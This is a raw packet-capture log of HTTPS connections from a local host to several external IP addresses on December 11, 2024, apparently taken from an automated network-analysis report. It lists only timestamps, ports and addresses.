Dec 11, 2024 19:22:23.551337957 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.559096098 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.559199095 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.559211969 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.566198111 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.566288948 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.566301107 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.572487116 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.572588921 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.572602034 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.579402924 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.579493999 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.579507113 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.583628893 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.583832026 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.583867073 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.583936930 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.583965063 CET	443	49735	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.584007978 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.591191053 CET	49735	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.628380060 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.628388882 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.673991919 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.684879065 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.686697006 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.686798096 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.686805010 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.691232920 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.691366911 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.691374063 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.699425936 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.699531078 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.699537992 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.699615002 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.708342075 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.708363056 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.708451986 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.715648890 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.715672970 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.715768099 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.715775967 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.719394922 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.719485044 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.719491959 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.723222971 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.727015972 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.727037907 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.727201939 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.734230042 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.734251976 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.735199928 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.742046118 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.742065907 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.742216110 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.746761084 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.747064114 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.853682995 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.853796959 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.854517937 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.854537010 CET	443	49742	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.854577065 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.854604006 CET	49742	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.854875088 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.854906082 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.855156898 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.855156898 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:23.855185032 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:23.876856089 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.877260923 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.878899097 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.878992081 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.885186911 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.885278940 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.888515949 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.888603926 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.894777060 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.894890070 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.901155949 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.901324034 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.904313087 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.904395103 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.910636902 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.910723925 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.916884899 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.916974068 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.920170069 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.920247078 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.926386118 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.926465988 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.932708025 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.932804108 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.935973883 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.936238050 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.942317009 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.942420006 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.945537090 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.945624113 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.945631981 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.945707083 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.945744038 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.945749044 CET	443	49736	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:23.945775986 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.945823908 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.945823908 CET	49736	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:23.951189041 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.951229095 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:23.955447912 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.955447912 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:23.955496073 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:24.213077068 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:24.213159084 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:24.213237047 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:24.213479996 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:24.213512897 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.065696955 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.066015005 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:25.066039085 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.066344976 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.066939116 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:25.066999912 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.067182064 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:25.111339092 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.174518108 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.174798012 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:25.174827099 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.175292969 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.175614119 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:25.175699949 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.175806046 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:25.219336987 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.429615021 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.431277037 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.431365013 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.431777954 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.432096958 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.432235003 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.432249069 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.432280064 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.475920916 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.536714077 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.537066936 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:25.537126064 CET	443	49744	35.190.80.1	192.168.2.5
Dec 11, 2024 19:22:25.537193060 CET	49744	443	192.168.2.5	35.190.80.1
Dec 11, 2024 19:22:25.621949911 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.622112989 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.622210979 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:25.622967005 CET	49745	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:25.622993946 CET	443	49745	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:25.875063896 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.875123024 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.875174046 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:25.875216007 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.875253916 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.876000881 CET	49746	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:25.876024961 CET	443	49746	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:26.447355986 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:26.447454929 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:26.447547913 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:26.447753906 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:26.447789907 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.667468071 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.667900085 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:27.667967081 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.669466019 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.669972897 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:27.670130014 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:27.670141935 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.670169115 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:27.711915970 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.126480103 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:28.126552105 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:28.130368948 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.130369902 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.148827076 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:28.148926973 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:28.149142981 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:28.149348974 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:28.149385929 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:28.234736919 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.234797955 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:28.235238075 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.239181042 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.239198923 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:28.440871000 CET	49754	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:28.440890074 CET	443	49754	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.373964071 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.375899076 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:29.375966072 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.376276970 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.376950026 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:29.377019882 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.377177954 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:29.423368931 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.464005947 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.464411020 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:29.464435101 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.464895010 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.465275049 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:29.465353012 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.465481997 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:29.465481997 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:29.465516090 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.465631962 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:29.465665102 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:29.829375982 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.829451084 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:29.829602957 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:29.831474066 CET	49758	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:29.831516981 CET	443	49758	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:30.101682901 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.101758957 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.101799965 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.101805925 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.101818085 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.101850033 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.101861954 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.110030890 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.110075951 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.110079050 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.110093117 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.110122919 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.118524075 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.127115011 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.127162933 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.127176046 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.173875093 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.221215963 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.274857998 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.274877071 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.298556089 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.298613071 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.298624992 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.306118011 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.306171894 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.306180954 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.313862085 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.313909054 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.313915014 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.321444035 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.321496010 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.321507931 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.321599960 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.321646929 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.322010994 CET	49759	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:30.322024107 CET	443	49759	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:30.457272053 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:30.457329988 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:30.457386971 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:30.457626104 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:30.457640886 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:31.703630924 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:31.739231110 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:31.739269972 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:31.739708900 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:31.740411043 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:31.740482092 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:31.740612984 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:31.783368111 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:32.156137943 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:32.156213045 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:32.156272888 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:32.156944036 CET	49765	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:32.156975031 CET	443	49765	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:36.078406096 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:36.078458071 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:36.078629017 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:36.079034090 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:36.079046011 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.313110113 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.313530922 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.313561916 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.313875914 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.314415932 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.314472914 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.314815998 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.314815998 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.314847946 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.314930916 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.314961910 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993486881 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993583918 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993633986 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993643999 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.993669987 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993710041 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.993715048 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993787050 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:37.993832111 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.995145082 CET	49780	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:37.995160103 CET	443	49780	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:38.002445936 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:38.002470970 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:38.002572060 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:38.002861977 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:38.002871037 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:38.150408983 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:38.150446892 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:38.150535107 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:38.150914907 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:38.150923967 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.225745916 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.226108074 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:39.226131916 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.226571083 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.226991892 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:39.227056980 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.227199078 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:39.267328978 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.385318995 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.385691881 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.385720015 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.387137890 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.387212992 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.387743950 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.387767076 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.387824059 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.387893915 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.387903929 CET	443	49787	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.387918949 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.387948036 CET	49787	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.388377905 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.388427019 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.388495922 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.388770103 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:39.388786077 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:39.674134016 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.674271107 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:39.674365044 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:39.675312996 CET	49786	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:39.675342083 CET	443	49786	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:40.620167017 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:40.620629072 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:40.620661020 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:40.622284889 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:40.622370958 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:40.623668909 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:40.623761892 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:40.623996019 CET	49789	443	192.168.2.5	104.21.32.251
Dec 11, 2024 19:22:40.624003887 CET	443	49789	104.21.32.251	192.168.2.5
Dec 11, 2024 19:22:40.678518057 CET	49789	443	192.168.2.5	104.21.32.251
